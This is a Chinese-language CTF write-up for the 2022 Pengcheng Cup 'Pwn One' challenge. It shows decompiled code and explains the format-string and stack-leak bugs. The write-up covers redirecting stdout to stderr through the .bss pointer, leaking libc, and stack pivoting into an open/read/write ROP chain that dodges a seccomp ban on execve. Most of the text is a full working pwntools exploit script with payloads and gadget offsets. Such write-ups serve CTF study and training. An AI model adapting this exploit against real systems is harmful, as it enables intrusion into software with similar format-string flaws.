2022 鹏城杯 Pwn One

比赛的时候没 patch 它给的 libc, 结果完全不知道怎么入手. 赛后补题时才发现, 然后给搞了出来. 我是sb. 爬.

不同的 libc 在一些库函数的实现上是不一样的, 所以泄漏的残留在栈上的数据很可能是不同的. 吸取教训, 下次管他是不是堆, 只要给了 libc 都 patch 好了再打.

这题涉及到了沙箱, orw, IO_FILE 和 fmt, orw, fmt 没写过总结, IO_FILE 用到的不多, 暂时也不深入研究, 沙箱没研究过. 这里边看题边简单说一下 IO_FILE. fmt 和 orw 就不写了太麻烦了.


保护全开. 整个逻辑非常简单

main:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[2056]; // [rsp+0h] [rbp-810h] BYREF
  unsigned __int64 v5; // [rsp+808h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  memset(s, 0, 0x800uLL);
  printf("gift:%p\n", s);
  login();
  puts("Now, you can't see anything!!!");
  close(1);
  read(0, s, 0x200uLL);
  printf(s);
  return 0;
}

init:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
unsigned int init()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init();
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  seccomp_rule_add(v1, 0LL, 322LL, 0LL);
  seccomp_load(v1);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  return alarm(0x12Cu);
}

login:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
unsigned __int64 login()
{
  char s[16]; // [rsp+0h] [rbp-30h] BYREF
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(s, 0, 8uLL);
  memset(buf, 0, 8uLL);
  printf("username:");
  read(0, s, 8uLL);
  printf("password:");
  read(0, buf, 8uLL);
  printf("Hello %s\n", s);
  return __readfsqword(0x28u) ^ v3;
}

很明显能够找到两个漏洞, 一个是 main 函数中的 fmt, 另一个是 login 函数中, 只清空了 s 的前 8 个字节, 而 read 8 个字节, 输出 s, 这样可以泄漏栈上原本的 8 个字节的数据.

main 函数中还给出了 s 的地址, 也就是说我们可以获得栈地址. 有了栈地址, 配合 fmt 任意地址写, 这样我们就具有构造 ROP 链的机会.

sandbox, 禁用了 execve, 考虑 orw.

难办的是, 关闭了 stdout (main 中的 close(1)).

先来看看 login 泄漏的是什么, 发现泄漏的是 _start 的地址. 这对我们来说是一件好事. 由于开启了 PIE, 导致程序装载进内存有一段偏移, 这段现在这段偏移我们可以知道了. 可以配合 fmt, 修改返回地址到 _start, 这样就具有多次 fmt 的能力了.

由于需要 orw, 又无法写 shellcode, 所以要想办法泄漏 libc, 从而要想办法输出. 除了 stdout, 还有 stderr 可以输出到屏幕.

init 函数中执行了 setbuf(stdout, 0), setbuf(stdin, 0), setbuf(stderr, 0) 这些操作. 这回导致本来在 libc 的全局变量中的 stdin, stdout, stderr 会放在程序的 .bss 段.

stdout 等本身不是文件描述符, 而是一个指向 IO_FILE 的指针. IO_FILE 是一个 I/O 文件结构体, 里面有一个变量 fileno, 这个 fileno 才是 fd. 输出库函数会先找 stdout, 然后找到 IO_FILE, 然后找到 fileno, 再去调用 syscall. 对于 stdout 来说, 指向的 IO_FILE 是 _IO_2_1_stdout_, stderr 的是 _IO_2_1_stderr_ (均为 libc 中定义的符号).

既然 .bss 上的 stdout 是指针, 那么可以将 stdout 修改成和 stderr 一样, 也就是使其指向 _IO_2_1_stderr_, 这样输出库函数执行的时候, 找 stdout, 然后找到了 _IO_2_1_stderr_, 最后找到了 fd = 2, 调用 syscall 进行输出. 这样就可以达到输出到屏幕的目的.

那么问题来了, 怎么修改这个 stdout 呢.

首先我们知道了 PIE 的偏移, 于是 .bss 的地址可以计算得到. 这样我们就知道了 stdout 的地址. stdout 和 stderr 的值 (地址) 是从 libc 中获取的, libc 的符号相对偏移是固定的, 同时低 12 位由于页映射不变. 多次调试观察一下 .bss 段中保存的 stdout 和 stderr 的地址, 仅有最低 2 字节是不同的.

/2022-pcb-pwn-one/img/bss.png
.bss 段中依次保存的 stdout, stdin, stderr

那么就可以利用 fmt 任意地址写, 去覆盖 stdout 的低 2 字节, 其中, 最低字节确定是 0xc0, 再高 4 位是 0x5, 那么只有再往上 4 位是不知道的. 不知道没关系, 随便填一个, $\frac 1 {16}$ 的概率打中, 那复杂度完全可以接受. 有没有成功也很容易判断, 看能不能接收到数据就行了. 记得同时覆盖返回地址到 _start.

然后就可以计算 main 函数的返回地址的偏移, 利用 fmt 泄漏 libc 偏移了. 接下来就是简单构造 open("flag.txt", 0), read(1, buf, size), write(2, buf, size) 的 ROP 链了. read(1) 是因为 close(1) 了, 再 open 的话 fd 是 1. write(2) 是因为得输出到 stderr. buf 可以取栈上的地址. 由于 read 和 write 的 buf 和 size 是一样的, 写 ROP 链的时候 write 可以只改 rdi.

由于用到了第三个参数, 所以需要一个 pop rdx; ret. 这玩意用 rizin 的 /ad/ 找不到, 用 ROPgadget 可以. 原因可能是, 唯一一个 pop rdx; ret, 是某个 call 的一部分, rizin 找 ROP gadgets 貌似不是遍历, 而 ROPgadget 是. (那看来用 rizin 替代所有工具的美好愿景无法实现了. 哦不对, 本来就没法实现, ida 还是比较好用)

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

context(os="linux",arch="amd64",log_level='debug')
libc = ELF('./libc-2.31.so')
io = process('./pwn')

while True:
  io.recvuntil(b'gift:')
  format_addr = int(io.recvline(keepends=False), 16)
  debug(f'format_addr: {hex(format_addr)}')
  return_addr = format_addr + 0x810 + 0x08
  debug(f'return_addr: {hex(return_addr)}')

  io.send(b'a' * 8)
  io.send(b'a' * 8)
  io.recvuntil(b'Hello aaaaaaaa')
  start_addr = u64(io.recvline()[:6].ljust(8, b'\x00'))
  debug(f'start_addr: {hex(start_addr)}')
  offset_pie = start_addr - 0x11a0
  debug(f'offset_pie: {hex(offset_pie)}')
  bss_stdout_addr = offset_pie + 0x4020
  debug(f'bss_stdout_addr: {hex(bss_stdout_addr)}')

  io.recvuntil(b"Now, you can't see anything!!!\n")

  payload = fmtstr_payload(6, {return_addr: start_addr})
  io.send(payload)

  io.send(b'a' * 8)
  io.send(b'a' * 8)
  return_addr -= 0xe0
  debug(f'return_addr: {hex(return_addr)}')

  payload = b'%53c%25$hhn%139c%24$hhna'
  payload += fmtstr_payload(9, {return_addr: start_addr}, numbwritten=53+139+1)
  payload += p64(bss_stdout_addr) + p64(bss_stdout_addr+1)
  io.send(payload)

  try:
    io.recvuntil(b'gift:')
    format_addr = int(io.recvline(keepends=False), 16)
    debug(f'format_addr: {hex(format_addr)}')
    return_addr = format_addr + 0x810 + 0x08
    debug(f'return_addr: {hex(return_addr)}')
    io.send(b'a' * 8)
    io.send(b'a' * 8)
    io.recvuntil(b"Now, you can't see anything!!!\n")

    payload = b'%265$p!!'
    payload += fmtstr_payload(7, {return_addr: start_addr}, numbwritten=16)
    io.send(payload)

    libc_start_main_ret_addr = int(io.recvuntil(b'!!')[:-2], 16)
    debug(f'libc_start_main_ret_addr: {hex(libc_start_main_ret_addr)}')
    offset_libc = libc_start_main_ret_addr - 0x24083
    debug(f'offset_libc: {hex(offset_libc)}')
    io.recv()

    pop_rsp_ret = offset_libc + 0x00197102
    pop_rdi_ret = offset_libc + 0x00083900
    pop_rsi_ret = offset_libc + 0x0002601f
    pop_rdx_ret = offset_libc + 0x00142c92
    open_addr = offset_libc + libc.sym['open']
    read_addr = offset_libc + libc.sym['read']
    write_addr = offset_libc + libc.sym['write']

    io.recvuntil(b'gift:')
    format_addr = int(io.recvline(keepends=False), 16)
    debug(f'format_addr: {hex(format_addr)}')
    return_addr = format_addr + 0x810 + 0x08
    debug(f'return_addr: {hex(return_addr)}')
    io.send(b'a' * 8)
    io.send(b'a' * 8)
    io.recvuntil(b"Now, you can't see anything!!!\n")

    payload = fmtstr_payload(6, {return_addr: pop_rsp_ret, return_addr + 8: format_addr+0x118})
    payload = payload.ljust(0x100, b'\x00')
    payload += b'flag.txt'.ljust(0x18, b'\x00')
    payload += p64(pop_rdi_ret) + p64(format_addr + 0x100) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
    payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(format_addr+0x200) + p64(pop_rdx_ret) + p64(0x40) + p64(read_addr)
    payload += p64(pop_rdi_ret) + p64(2) + p64(write_addr)
    io.send(payload)
    io.interactive()

  except EOFError as e:
    io.close()
    io = process('./pwn')
  except Exception as e:
    raise e

嫌 fmt 写 ROP 麻烦, 用 pop rsp 迁移了一下栈到输入数组中间, 这样就可以输入布置 ROP 链了.